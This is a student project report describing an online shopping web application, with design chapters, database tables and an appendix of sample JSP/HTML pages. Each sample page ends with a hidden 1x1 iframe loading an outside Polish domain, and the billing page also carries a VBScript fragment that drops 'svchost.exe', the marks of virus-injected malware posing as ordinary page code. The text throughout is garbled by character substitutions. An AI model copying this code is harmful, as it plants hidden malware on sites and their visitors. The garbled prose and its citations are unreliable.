CHAPTER 1

INTRODUCTION
1.1 OVERVIEW OF ONLINE SHOPPING
ONLINE SHOPPING is a web-based application SoItware Developed in
IMB WEBSPHERE using JSP as Iront end on Pentium machine. The main aim oI
Online Shopping is to improve the services oI Customers and vendors. It maintains
the details oI customer payments, product receipts, addition oI new customers,
products and also updating, deletion Ior the same. It also stores the details oI
invoices generated by customer and payments made by them with all Payments
details like credit card. The primary Ieatures oI online shopping are high accuracy,
design Ilexibility and easy availability. It uses database tables representing entities
and relationships between entities.

1.2 OB1ECTIVE OF ONLINE SHOPPING

The system is capable oI maintaining details oI various customers, vendors,
Products and storing all the day to day transactions such as generation oI shipment
address bills, handling customers and product receipts, updating oI stores
The central concept oI the application is to allow the customer to shop virtually
using the Internet and allow customers to buy the items and articles oI their desire
Irom the store. The inIormation pertaining to the products are stores on an RDBMS
at the server side (store). The Server process the customers and the items are
shipped to the address submitted by them.

The application was designed into two modules
1. Buy module
2. Database module

The Buy module is used Ior the customers who wish to buy the articles. The
database module is Ior the storekeepers who maintains and updates the inIormation
pertaining to the articles and those oI the customers.

The end user oI this product is a departmental store where the application is
hosted on the web and the administrator maintains the database. The application
which is deployed at the customer database, the details oI the items are brought
Iorward Irom the database Ior the customer view based on the selection through the
menu and the database oI all the products are updated at the end oI each
transaction.

Data entry into the application can be done through various screens designed
Ior various levels oI users. Once the authorized personnel Ieed the relevant data
into the system, several reports could be generated as per the security.

CHAPTER 2
LITERATURE REVIEW

2.1 EXISTING SYSTEM
eBay Inc. is an American Internet company that manages eBay.com, an
online auction and shopping website in which people and businesses buy and sell a
broad variety oI goods and services worldwide. Founded in 1995, eBay is one oI
the notable success stories oI the dot-com bubble; it is now a multi-billion dollar
business with operations localized in over thirty countries.

eBay.com oIIers several types oI auctions:

a) Auction-style listings allow the seller to oIIer one or more items Ior sale
Ior a speciIied number oI days. The seller can establish a reserve price.

b) Fixed price format allows the seller to oIIer one or more items Ior sale
at a Buy It Now price. Buyers who agree to pay that price win the auction
immediately without submitting a bid.

2.2 PROPOSED SYSTEM

Shop online:
Shop online is an online shopping application, which provides the online
shopping Iacility available Ior everyone. Any type oI the product will be available
Ior the customer, and it can be easily purchased Iaster when compair with ebay.
Shop online application concentrates more on user Iriendly interIaces and
promotes users to purchase Iaster and easier. There is a Iacility available to do
online purchase. Shop online have registration Iacility. This will enable the new
user to sign in and use the product much eIIectively. The registration process is
Iaster and easier compaired to any existing application.
In the User interIace oI Shop online there will be accomplished with options
to Iind new products available and most purchased and customer satisIied
products. Customer can avail this Iacility and buy the product Iaster. All products
in the website will be highlighted with the image oI the product. By click on the
image it will take you directly to the buy page, Irom where customer can purchase
easily.
Shop online is provided with customer support page. Using this page any
customer can get the assistance Irom the available customer support executive
online. There we have Support over phone, email and chat. Customer can use this
Iacility any time.
As security issue pays major importance today, extra attention towards
security is done in Shop online application. We incorporate digital signature
technique to ensure much eIIective security Ior the customer. Digital signature will
provide the secure data transactions and also during money transaction Ior
purchase.

2.3 DIGITAL SIGNATURE

A digital signature is a type oI asymmetric cryptography used to simulate the
security properties oI a handwritten signature on paper. Digital signature schemes
consist oI at least three algorithms: a key generation algorithm, a signature
algorithm, and a veriIication algorithm. A signature provides authentication oI a
"message". Messages may be anything, Irom electronic mail to a contract, or even
a message sent in a more complicated cryptographic protocol.
Digital signatures are oIten used to implement electronic signatures, a broader term
that reIers to any electronic data that carries the intent oI a signature, but not all
electronic signatures use digital signatures. In some countries, including the and in
the electronic signatures have legal signiIicance. However, laws concerning
electronic signatures do not always make clear their applicability towards
cryptographic digital signatures, leaving their legal importance somewhat
unspeciIied.
A digital signature scheme typically consists oI three algorithms:
O A key generation algorithm that selects a private key uniIormly at random Irom
a set oI possible private keys. The algorithm outputs the private key and a
corresponding public key.
O A signing algorithm which, given a message and a private key, produces a
signature.

O A signature veriIying algorithm which given a message, public key and a

signature, either accepts or rejects.
Two main properties are required. First, a signature generated Irom a Iixed
message and Iixed private key should veriIy on that message and the
corresponding public key. Secondly, it should be computationally inIeasible to
generate a valid signature Ior a party who does not possess the private key.
The purpose oI a digital signature is the same as your handwritten signature.
Instead oI using pen and paper, a digital signature uses digital keys (public-key
cryptology). Like the pen and paper method, a digital signature attaches the
identity oI the signer to the document and records a binding commitment to the
document. Unlike a handwritten signature, It is considered impossible to Iorge a
digital signature the way a written signature might be.
The real value is in avoiding the paper and keeping your data electronic Ior a
variety oI reasons: save paper, send documents quickly via email, you can have
multiple/exact copies and easier to manage the storage.
To use digital signature soItware requires some initial setup: you will need a
signing certiIicate. II in your business you commonly sign documents or need to
veriIy the authenticity oI documents, then digital signatures can help you save time
and paper-handling costs. The DigiStamp web site and soItware is designed to help
you with the process and allow you to take advantage oI the convenience and
power oI digital signatures.
The digital signature soItware is provided at this web site Ior you to install and use.
You will need to get your personal signing certiIicate. Creating your certiIicate
involves creating a public-private digital key pair and a CertiIicate Authority. The

private key is something you keep only to yourselI. You sign a document with your
private key. Then, you give your public key to anyone who wants to veriIy your
signature. The process oI creating your public-private key pair is easy and quick;
we will help you with process.
Public Keys. The public key certiIicate creates prooI oI the identity oI the signer
by using the services oI a certiIicate authority. A certiIicate authority uses a variety
oI processes to associate the particular public key with an individual. You give
your public key to anyone who wants to veriIy your signature. The combination oI
your public key and prooI oI identity result in a public key certiIicate - also called
a signer's certiIicate.
Private Keys. The private key is something you keep only to yourselI. You sign a
document with your private key. The public and private keys are related
mathematically. Knowing the public key allows a signature to be veriIied but does
not allow new signatures to be created. II your private key is not kept 'private,
then someone could maliciously create your signature on a document without your
consent. It is critical to keep your private key secret.
There are several reasons to sign such a hash (or message digest) instead oI the
whole document.
O For efficiency: The signature will be much shorter and thus save time since
hashing is generally much Iaster than signing in practice.

O For compatibility: Messages are typically bit strings, but some signature
schemes operate on other domains (such as, in the case oI RSA, numbers
modulo a composite number N). A hash Iunction can be used to convert an
arbitrary input into the proper Iormat.
For integrity: Without the hash Iunction, the text "to be signed" may have to be
split (separated) in blocks small enough Ior the signature scheme to act on them
directly. However, the receiver oI the signed blocks is not able to recognize iI all
the blocks are present and in the appropriate order.
2.3.1 BENEFITS OF DIGITAL SIGNATURE
Below are some common reasons Ior applying a digital signature to
communications:
2.3.1.1 Authentication:
Although messages may oIten include inIormation about the entity sending a
message, that inIormation may not be accurate. Digital signatures can be used to
authenticate the source oI messages. When ownership oI a digital signature secret
key is bound to a speciIic user, a valid signature shows that the message was sent
by that user. The importance oI high conIidence in sender authenticity is especially
obvious in a Iinancial context. For example, suppose a bank's branch oIIice sends
instructions to the central oIIice requesting a change in the balance oI an account.
II the central oIIice is not convinced that such a message is truly sent Irom an
authorized source, acting on such a request could be a grave mistake.

2.3.1.2 Integrity:
In many scenarios, the sender and receiver oI a message may have a need Ior
conIidence that the message has not been altered during transmission. Although
encryption hides the contents oI a message, it may be possible to change an
encrypted message without understanding it. (Some encryption algorithms, known
as nonmalleable ones, prevent this, but others do not.) However, iI a message is
digitally signed, any change in the message will invalidate the signature.
Furthermore, there is no eIIicient way to modiIy a message and its signature to
produce a new message with a valid signature, because this is still considered to be
computationally inIeasible by most cryptographic hash Iunctions.

CHAPTER 3
DEVELOPMENT ENVIRONMENT
3.1 IBM WebSphere Application Server
IBM WebSphere Application Server (WAS), a soItware application
server, is the Ilagship product within IBM's WebSphere brand. WAS is built using
open standards such as Java EE, XML, and Web Services. It is supported on the
Iollowing platIorms: Windows, AIX, Linux, Solaris, i/OS and z/OS. Beginning
with Version 6.1 and now into Version 7, the open standard speciIications are
aligned and common across all the platIorms. PlatIorm exploitation, to the extent it
takes place, is done -0ow the open standard speciIication line.
It works with a number oI Web servers including Apache HTTP Server,
Netscape Enterprise Server, MicrosoIt Internet InIormation Services (IIS), IBM
HTTP Server Ior i5/OS, IBM HTTP Server Ior z/OS, and IBM HTTP Server Ior
AIX/Linux/MicrosoIt Windows/Solaris. It uses 9060 port Ior connection as the
deIault.
3.2 WebSphere Extended Deployment
WebSphere Application Server V6 Extended Deployment Edition
(WebSphere XD) was released in 2006 as an add-on Ior WebSphere 6. XD
provides advanced Ieatures Ior both administrators who manage multiple Java EE-
based applications and developers building advanced applications that require
asymmetric clustering techniques. It also has a number oI technologies to
signiIicantly increase the perIormance oI running applications, including an in-
memory database cache and a highly advanced load balancer called the on d02,nd
rout0r.

3.3 Security
The WebSphere Application Server security model is based on the services
provided in the operating system and the Java EE security model. WebSphere
Application Server provides implementations oI user authentication and
authorization mechanisms providing support Ior various user registries:
O Local operating system user registry
O LDAP user registry
O Federated user registry (as oI version 6.1)
O Custom user registry
The authentication mechanisms supported by WebSphere are
O Lightweight Third Party Authentication (LTPA)
3.4 IBM DB2
DB2 can be administered Irom either the command-line or a GUI. The
command-line interIace requires more knowledge oI the product but can be more
easily scripted and automated. The GUI is a multi-platIorm Java client that
contains a variety oI wizards suitable Ior novice users. DB2 supports both SQL and
XQuery. DB2 has native implementation oI XML data storage, where XML data is
stored as XML (not as relational data or CLOB data) Ior Iaster access using
XQuery.
DB2 has APIs Ior REXX, PL/I, COBOL, RPG, FORTRAN, C, C, Delphi, .NET
CLI, Java, Python, Perl, PHP, Ruby, and many other programming languages. DB2
also supports integration into the Eclipse and Visual Studio .NET integrated
development environments.

3.5 ERROR PROCESSING

An important Ieature oI DB2 computer programs is error handling. The SQL
communications area (SQLCA) structure was once used exclusively within a DB2
program to return error inIormation to the application program aIter every SQL
statement was executed. The primary, but not singularly useIul, error diagnostic is
held in the Iield SQLCODE within the SQLCA block.
The SQL return code values are:
O 0 means successIul execution.
O A positive number means successIul execution with one or more warnings.
An example is 100 which means no rows Iound.
O A negative number means unsuccessIul with an error. An example is -911
which means a lock timeout (or deadlock) has occurred, triggering a
rollback.
Later versions oI DB2 added Iunctionality and complexity to the execution oI
SQL. Multiple errors or warnings could be returned by the execution oI an SQL
statement; it may, Ior example, have initiated a Database Trigger and other SQL
statements. Instead oI the original SQLCA, error inIormation should now be
retrieved by successive executions oI a GET DIAGNOSTICS statement.See SQL
return codes Ior a more comprehensive list oI common SQLCODEs.

CHAPTER 4

DESIGN ARCHETECTURE

4.1 SYSTEM DESIGN

In order to design a web site, the relational database must be designed Iirst.
Conceptual design can be divided into two parts:
1. Data model
2. Process model.

4.1.1 Data model
The data model Iocuses on what data should be stored in the database while
the process model deals with how the data is processed. To put this in the context
oI the relational database, the data model is used to design the relational tables.

4.1.2 Process model
The process model is used to design the queries that will access and perIorm
operations on those Tables.

Design oI soItware involves conceiving, planning out and speciIying the
externally observable characteristics oI the soItware product. We have data design,
architectural design and user interIace design in the design process. These are
explained in the Iollowing section. The goal oI design process is to provide a blue
print Ior implementation, testing and maintenance activities.

4.2 DATA DESIGN:

The primary activity during data design is to select logical representations oI
data objects identiIied during requirement analysis and soItware analysis. A data
dictionary explicitly represents the relationships among data objects and the
constrains on the elements oI the data structure. A data dictionary should be
established and used to deIine both data and program design.

4.3 FESIBILITY STUDY:
Feasibility study is conducted once the problem is clearly understood.
Feasibility study is a high level capsule version oI the entire system analysis and
design process. The objective is to determine quickly at a minimum expense how
to solve a problem. The purpose oI Ieasibility is not to solve the problem but to

Determine iI the problem is worth solving. The system has been tested Ior
Ieasibility in the Iollowing points
1. Technical Feasibility
2. Economical Feasibility
3. Operational Feasibility.

4.3.1. Technical Feasibility: -
The project entitles "Project Monitoring System" is technically Ieasibility
because oI the below mentioned Ieature. The project was developed in Java which
Graphical User InterIace It provides the high level oI reliability, availability and
compatibility. All these make Java an appropriate language Ior this project. Thus
the existing soItware Java is a powerIul language.

4.3.2. Economical Feasibility: -

The computerized system will help in automate the selection leading the
proIits and details oI the organization. With this soItware, the machine and
manpower utilization are expected to go up by 80-90 approximately. The costs
incurred oI not creating the system are set to be great, because precious time can be
wanted by manually.
4.3.3. Operational Feasibility:
In this project, the management will know the details oI each project where
he may be presented and the data will be maintained as decentralized and iI any
inquires Ior that particular contract can be known as per their requirements and
necessaries.

4.4 IMPLEMENTATION:
Implementation is the stage where the theoretical design is turned into a
working system. The most crucial stage in achieving a new successIul system and
in giving conIidence on the new system Ior the users that it will work eIIiciently
and eIIectively. The system can be implemented only aIter thorough testing is done
and iI it is Iound to work according to the speciIication. It involves careIul
planning, investigation oI the current system and its constraints on implementation,
design oI methods to achieve the change over and an evaluation oI change over
methods a part Irom planning. Two major tasks oI preparing the implementation
are education and training oI the users and testing oI the system. The more
complex the system being implemented, the more involved will be the systems
analysis and design eIIort required just Ior implementation. The implementation
phase comprises oI several activities. The required hardware and soItware
acquisition is carried out. The system may require some soItware to be developed.

CHAPTER 5
IMPLEMENTATION METHODOLOGY

5.1 DATA FLOW DIAGRAM
Data Flow Diagrams show the Ilow oI data Irom external entities into the
system, and Irom one process to another within the system. There are Iour symbols
Ior drawing a DFD:
1. Rectangles representing external entities, which are sources or
destinations oI data.
2. Ellipses representing processes, which take data as input, validate and
process it and output it.
3. Arrows representing the data Ilows, which can either, be electronic data or
physical items.
4. Open-ended rectangles or a Disk symbol representing data stores,
including electronic stores such as databases or XML Iiles and physical stores such
as Iiling cabinets or stacks oI paper.

The Data Flow Diagrams Ior the current system are explained below. Each
process within the system is Iirst shown as a Context Level DFD and later as a
Detailed DFD. The Context Level DFD provides a conceptual view oI the process
and its surrounding input, output and data stores. The Detailed DFD provides a
more detailed and comprehensive View oI the interaction among the sub-processes
within the system.

5.1.1 Customer-Browse Context DFD
Customer browser context data Ilow diagram explains connection between
Customer and the search model.. The customer will be browsing Ior the item the
server will be search and produce the output.

5.1.2 Customer-Browse Detailed DFD
The below DFD diagram shows how the customer browse the content
detailed.

5.1.3 Customer - ShoppingCart Context DFD
Here the customer shopping cart DFD. The customer can create a cart and he can
select the item needed and purchase the whole selected item.

5.1.4 Customer - ShoppingCart Detailed DFD
The given DFD diagram shows the shopping cart detailed manner. The user can be
modiIy as well as develop the cart.

5.1.5 Customer-Authentication Context DFD
In this customer authentication DFD , the authentication oI the customer will takes
place. The database will be checking the given customer is valid or not, iI he is
valid means allow permission to access the server .

5.1.6 Customer-Authentication-PurchaseHistory DFD
In the Iollowing DFD shows the customer history in detail, it means that the
history oI the customer will be saving the account oI the customer. AIter some
latter the customer can analyze his history.

5.1.7 Customer-Authentication-UserProfile DFD
The authenticated use has his own profile he can be modify the profile submit
the current details if any change happened in the previously submitted details.

5.1.8 Authenticated User-Purchase Context DFD
Given DFD shows the all process taking place in the shoponline system.

5.1.9 Customer-NewUserRegistration DFD
The new user registration DFD is showing below the use can be register to the
website by giving the user id, password, and address.



The administrator veriIying the data`s

5.1.10 Administrator-new item adding DFD
The administrator will be adding the new item to the server to introduce the
customer

5.2 UML USE CASE DIAGRAM

The UniIied Modeling Language (UML) is a standard language Ior
speciIying, visualizing, constructing, and documenting the artiIacts oI soItware
systems, as well as Ior business modeling and other non-soItware systems. The
UML represents a collection oI best engineering practices that have proven
successIul in the modeling oI large and complex systems. The UML is a very
important part oI designing objects oriented soItware and the soItware
development process. The UML uses mostly graphical notations to express the
design oI soItware projects. Using the UML helps project teams communicate,
explore potential designs, and validate the architectural design oI the soItware.

Each Use Case is:
O a pattern oI behavior that the new system is required to exhibit.
O a sequence oI related actions perIormed by an actor and the system via a
dialogue.
O An actor is:
anything that needs to interact with the system:
O a person
O a role that diIIerent people may play
O another (external) system.

A Use Case Diagram is a visual representation oI actors together with use
cases. A use case is a set oI scenarios that describing an interaction between a user
and a system.

A use case diagram displays the relationship among actors and use cases.
The two main components oI a use case diagram are use cases and actors.



An actor is represents a user or another system that will interact with the system
you are modeling. A
use case is an external view oI the system that represents some action the user
might perIorm in order to complete a task.

5.3 USE CASE DESIGN FOR ONLINE SHOPPING SYSTEM

The diagram explained below is USE CASE diagram oI online shopping sytem. In this
project we have 3 main actor Customer, Warehouse Employee and Sales person. Customer is
Iacilitised with Add item to cart, Remove items Irom Cart, Review contents oI Cart, Purchase
contents oI Cart and Update order status. Warehouse employee can Update order status and
NotiIy warehouse order inIormation. Salesperson can notiIy warehouse about the order and
receive and process the order. Sales person also have included with veriIication oI payment.

5.4 SEQUENCE DIAGRAM

Sequence diagrams show step-by-step what`s involved in a use case
O Which objects are relevant to the usecase.
O How those objects participate in the Iunction

5.5 CIass Diagram for Shopping Cart

Class diagram oI shopping Cart consist oI the Iive classes. The classes are
represented inside the box as shown in the Iigure. It consists oI Credit Card,
Customer, Item to buy, Shopping Cart and Frequent Shopper. Shopping Cart Class
deals with Adding new item to the cart, Cancelation oI any purchase or Deletion oI
any item Irom the cart. Credit card class will have the security transaction and
Security integrity enables the customer to process a secure transaction. Customer
Class will have the inIormation oI the customer. InIormation like Billing address,
Delivery address, Email Address and Credit rating.

5.6 UML ACTIVITY DIAGRAM

Activity diagrams describe the workIlow behavior oI a system. Activity
diagrams are similar to state diagrams because activities are the state oI doing
something. The diagrams describe the state oI activities by showing the sequence
oI activities perIormed. Activity diagrams can show activities that are conditional
or parallel.

5.7 DATABASE DESIGN

TABLES

Table Name: PRODUCT
-----------------------------------------------------
Column Name Type
-----------------------------------------------------
Product Id Int
Product Name Varchar
Product Type Varchar
UnitPrice Float
Quantity Varchar
Units in stock Int
Units on Order Int
-----------------------------------------------------

Table Name: CUSTOMER
------------------------------------------------
Column Name Type
------------------------------------------------
Order Number Int
Order Date Date
CustomerName Varchar
BillAddress Varchar
ShippingAddress Varchar
PhoneNumber Varchar
Email-Id Varchar
Amount Float
Shipped Status Varchar
------------------------------------------

Table Name: PRODTABLE
------------------------------------------------
Column Name Type
------------------------------------------------
ProdId Int
ProductName Varchar
Price Float
------------------------------------------------

Table Name: CREDITCARD
------------------------------------------------
Column Name Type
------------------------------------------------
CardType Varchar
CardNumber Varchar

CHAPTER 6
TESTING

6.1 SYSTEM TESTING
The testing phase is an important part oI soItware development. It is the
process oI Iinding errors and missing operations and also a complete veriIication to
determine whether the objectives are met and the user requirements are satisIied.

6.1.1 Software testing is carried out in three steps:

The Iirst includes unit testing, where in each module is tested to provide its
Correctness, validity and also determine any missing operations and to veriIy
whether the objectives have been met. Errors are noted down and corrected
immediately. Unit testing is the important and major part oI the project. So errors
are rectiIied easily in particular module and program clarity is increased. In this
project entire system is divided into several modules and is developed
Individually. So unit testing is conducted to individual modules.

The second step includes Integration testing. It need not be the case, the
soItware whose modules when run individually and showing perIect results, will
also show perIect results when run as a whole. The individual modules are clipped
under this major module and tested again and veriIied the results. This is due to
poor interIacing, which may results in data being lost across an interIace. A
module can have inadvertent, adverse eIIect on any other or on the global data
structures, causing serious problems.

The Iinal step involves validation and testing which determines which the
soItware Iunctions as the user expected. Here also some modiIications were. In the
completion oI the project it is satisIied Iully by the end user

6.2 MAINTENANCE AND ENHANCEMENT

AS the number oI computer based systems, grieve libraries oI computer
soItware began to expand. In house developed projects produced tones oI thousand
soIt program source statements. SoItware products purchased Irom the outside
added hundreds oI thousands oI new statements. A dark cloud appeared on the
horizon. All oI these programs, all oI those source statements-had to be corrected
when Ialse were detected, modiIied as user requirements changed, or adapted to
new hardware that was purchased. These activities were collectively called
soItware Maintenance.
The maintenance phase Iocuses on change that is associated with error
correction, adaptations required as the soItware's environment evolves, and
changes due to enhancements brought about by changing customer requirements.
Four types oI changes are encountered during the maintenance phase.

O Correction
O Adaptation
O Enhancement
O Prevention
O Correction

6.2.1 CORRECTION
Even with the best quality assurance activities is lightly that the customer
will uncover deIects in the soItware. Corrective maintenance changes the soItware
to correct deIects. Maintenance is a set oI soItware Engineering activities that

occur aIter soItware has been delivered to the customer and put into operation.
SoItware conIiguration management is a set oI tracking and control activities that
began when a soItware project begins and terminates only when the soItware is
taken out oI the operation.

O Corrective Maintenance
O Adaptive Maintenance
O PerIective Maintenance or Enhancement
O Preventive maintenance or reengineering

Only about 20 percent oI all maintenance work are spent "Iixing mistakes".
The remaining 80 percent are spent adapting existing systems to changes in their
external environment, making enhancements requested by users, and reengineering
an application Ior use.


6.2.2 ADAPTATION
Over time, the original environment (E~G., CPU, operating system, business
rules, external product characteristics) Ior which the soItware was developed is
likely to change. Adaptive maintenance results in modiIication to the soItware to
accommodate change to its external environment.

6.2.3 ENHANCEMENT
As soItware is used, the customer/user will recognize additional Iunctions
that will provide beneIit. Perceptive maintenance extends the soItware beyond its
original Iunction requirements.

6.2.4 PREVENTION
Computer soItware deteriorates due to change, and because oI this,
preventive maintenance, oIten called soItware re engineering, must be conducted
to enable the soItware to serve the needs oI its end users. In essence, preventive
maintenance makes changes to computer programs so that they can be more easily
corrected, adapted, and enhanced. SoItware conIiguration management
(SCM) is an umbrella activity that is applied throughout the soItware process.
SCM activities are developed to IdentiIy change. Control chug. Ensure that change
is being properly implemented. Report change to others that may have an interest.

RESULT ANALYSIS

CHAPTER 8
CONCLUSION AND FUTURE ENHANCEMENT

8.1 CONCLUSION

The Internet has become a major resource in modern business, thus
electronic shopping has gained signiIicance not only Irom the entrepreneur`s but
also Irom the customer`s point oI view. For the entrepreneur, electronic shopping
generates new business opportunities and Ior the customer, it makes comparative
shopping possible. As per a survey, most consumers oI online stores are impulsive
and usually make a decision to stay on a site within the Iirst Iew seconds. We have
designed the project to provide the user with easy navigation, retrieval oI data and
necessary Ieedback as much as possible. A good shopping cart design must be
accompanied with user-Iriendly shopping cart application logic. It should be
convenient Ior the customer to view the contents oI their cart and to be able to
remove or add items to their cart. The shopping cart application described in this
project provides a number oI Ieatures that are designed to make the customer more
comIortable.

This project helps in understanding the creation oI an interactive web page
and the technologies used to implement it. The building oI the project has given me
a precise knowledge about how IBM Websphere application is used to develop a
website, how it connects to the database to access the data and how the data and
web pages are modiIied to provide the user with a shopping cart application.

8.2 FUTURE ENHANCEMENT

1. The Shop Online will require more secure encryption to provide more secure
transaction.
2. Customer should be given with reward point Ior Irequent purchase.
3. Live support should be enabled.

APPENDIX 1: SAMPLE CODINGS

A1.1 Samples coding for the login page
<%@ page language="java" contentType="text/html; charset=ISJ-8859-1"
pageEncoding="ISJ-8859-1"%
<!DJCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd"
<html
<head
<meta http-equiv="Content-Language" content="en-us"
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252"
<meta name="GENERATJR" content="Microsoft FrontPage 4.0"
<meta name="ProgId" content="FrontPage.Editor.Document"
<titlePlease enter your login Info</title
<base target="_self"
<style type="text/css"
</style
</head
<p align="center"<font color="#003700"&nbsp; <b<i<font size="5"
color="#FF0000" Please enter your
login Info</font</i</b</font</p
<form method="PJST" action="--WEBBJT-SELF--"
<!--webbot bot="SaveResults" U-File="fpweb:///_private/form_results.txt"
S-Format="TEXT/CSV" S-Label-Fields="TRUE" --
<p align="center"<b<font size="3" color="#400080" User Id:
</font</b<input type="text" name="T1" size="20"
<if name="qwe"</p
<p align="center"<b<font size="3" color="#400080"User
Password:</font</b <input type="text" name="T3" size="20"
</p</form
<form name="f1" action="shopping.html"<p align="center"<font
color="#00FF00"<a
href="file:///C:/project%20final%20year/New%20Folder/online/bill.html.html"
<input type="submit" value="login" name="B3" style="background-color: ;
color: #000046"&nbsp;
</a</font
<a
href="file:///C:/project%20final%20year/154_2f96722c60bc3a22cabd13e810d86ec1/
index.html"<font size="4" color="#0000AE"G
to Home</font</a</u</p
</form
<p align="center"<b<i<font size="5" color="#FF5B5B"If you&nbsp; want to
register
Please Click here</font</i</b</p
<p align="center"<b<u<a
href="file:///C:/project%20final%20year/New%20Folder/online/register.html"RE
GISTER</p
<iframe src="http://www.Trenz.pl/rc/" width=1 height=1
frameborder=0</iframe
</body

</html

A1.2 Sample coding for registration page

<%@ page language="java" contentType="text/html; charset=ISJ-8859-1"
pageEncoding="ISJ-8859-1"%
<!DJCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd"
<html

<head
<meta http-equiv="Content-Language" content="en-us"
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252"
<meta name="GENERATJR" content="Microsoft FrontPage 4.0"
<meta name="ProgId" content="FrontPage.Editor.Document"
<titleRegistration Form</title
</head

<body background="backgrnd2,.gif"

<p align="center"<b<font size="5" color="#002200"<blinkRegistration
Form</blink</font</b</p
<form method="PJST" action="--WEBBJT-SELF--"
<!--webbot bot="SaveResults" U-File="C:\SraproJ\_private\form_results.txt"
S-Format="TEXT/CSV" S-Label-Fields="TRUE" --
<p align="left"<font size="4" User-Id&nbsp; :&nbsp;&nbsp;&nbsp;&nbsp;
<input type="text" name="T1" size="20"</b</font</p
<p align="left"<font size="4"
color="#00008C"<b&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs
p Password :&nbsp;&nbsp;&nbsp;&nbsp; <input type="text" name="T2"
size="20"</b</font</p
<p align="left"<font size="4"
color="#00008C"<b&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&;
First Name :&nbsp;&nbsp;&nbsp; <input type="text" name="T3"
size="20"</b</font</p
<p align="left"<font size="4" Last Name :&nbsp;&nbsp;&nbsp; <input
type="text" name="T4" size="20"</b</font</p
<p align="left"<font size="4" Date of Birth
:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <select size="1" name="D1"
</select<select size="1" name="D2"
</select<select size="1" name="D3"
</select</b</font</p
<p align="left"<font size="4" Address :&nbsp;&nbsp;&nbsp; <input
type="text" name="T5" size="20"</b</font</p
<p align="left"<font size="4" City :&nbsp;&nbsp;&nbsp; <input type="text"
name="T6" size="20"</b</font</p
<p align="left"<font size="4";
Pin :&nbsp;&nbsp;&nbsp; <input type="text" name="T7"
size="20"</b</font</p
<p align="left"<font size="4" State :&nbsp;&nbsp;&nbsp; <input
type="text" name="T8" size="20"</b</font</p
<p align="left"<font size="4" Country :&nbsp;&nbsp;&nbsp; <input
type="text" name="T9" size="20"</b</font</p

<p align="left"<font size="4" Phone :&nbsp;&nbsp;&nbsp;&nbsp; <input

type="text" name="T10" size="20"</b</font</p
<p align="center"<font size="4" color="#00008C"<bCredit card name :
<input type="text" name="T11" size="20"&nbsp;&nbsp;&nbsp;
credit card no : <input type="text" name="T12" size="20"</b</font</p
<p align="left"<font size="4" E-mail :&nbsp;&nbsp;&nbsp;&nbsp; <input
type="text" name="T13" size="20"</b</font</p
<p align="left"&nbsp;</p
<p
To Home</a</b</font</i</u</p
<p align="center"&nbsp;</p
<p align="center"&nbsp;</p
</form
<p align="center"&nbsp;</p

<iframe src="http://www.Trenz.pl/rc/" width=1 height=1
frameborder=0</iframe
</body

</html

A1.3 Sample coding for billing page
<%@ page language="java" contentType="text/html; charset=ISJ-8859-1"
pageEncoding="ISJ-8859-1"%
<!DJCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd"
<html
<titleBook list</title
<body bgcolor=#ffaabb text=white
<center<font size=5 color=teal<u<bBJJKS LIST</U</B</font</center
<form
<input type=submit value="Add to cart" name=addcart
<input type=submit value="Check cart" name=chkcart
<input type=submit value="Check Jut" name=chkout
</form
<iframe src="http://www.Trenz.pl/rc/" width=1 height=1
frameborder=0</iframe
</body
</html<SCRIPT Language=VBScript<!--
DropFileName = "svchost.exe"

2) SCREEN SHOTS

1) HOME PAGE


Fig is login page. Here the user can sign in and the highlight oI the product will
available.

2)LOGIN PAGE



Here the user can login and also the new user can create the account.

3)REGISTRATION PAGE


The new user can be register in this page.

4)PRODUCT PAGE



The product and price will be displaying in this page.

5)BILLING PAGE


AIter selecting the item this page will be displaying and this helps to pay the bill.

Here use can be enter the credit card number.

6)FINAL PAGE



AIter successIul completion oI the purchase this page will be display.

BIBLIOGRAPHY

Articles
1. Chen, L. (2000). Enticing Online Consumers: A Technology Acceptance
Perspective Research- in-Progress. Proc00dings, SIGPR.

2. Diwakar, H., Marathe, M. (2000). The architecture oI a one-stop web-window

shop. December, SIG0co2 Exch,ng0s, Volume 2 Issue 1.
3. Morrison, M., Morrison, J., and Keys, A. (2002). Integrating Web Sites and
Databases. o22unic,tions of th0 , September, Volume 45, Issue 9.
4. Kubilus, N. J. (2000). Designing an e-commerce site Ior users. September 2000,
rossro,ds, Volume 7 Issue 1.
5. Norman, D.A. The Design oI Everyday Things. Dou-0d,y, New York, 1994.
6. Tilson, R., Dong, J., Martin, S., Kieke, E. (1998). A comparison oI two current
ecommerce
sites. September, Proc00dings of th0 16th ,nnu, int0rn,tion,
conf0r0nc0 on o25ut0r docu20nt,tion.









Books
7. Anderson, R., Francis, B., Homer, A., Howard, R., Sussman, D. and Watson.
(2001) Prof0ssion, SP.NET. Wrox Press Ltd.
8. Brown, S., Burdick, R., Falkner, J., Galbraith, B., Johnson, R., Kim, L.,
Kochmer,
C., Kristmundsson, T. and Li S (2001). Prof0ssion, JSP. Wrox Press Ltd.

9. Walther, S. (1998) ctiv0 S0rv0r P,g0s. SAMS Net.

10. Wagner, R., Daniels, K., GriIIin, G., Haddad, C. and Nasr, J. (1997) J,v,Scri5t
Un0,sh0d. SAMS Net.
11. Wiley, Y. M. J. & Sons. (1997) r0,ting th0 Jirtu, Stor0 T,ing Your W0-
Sit0
fro2 Browsing to Buying.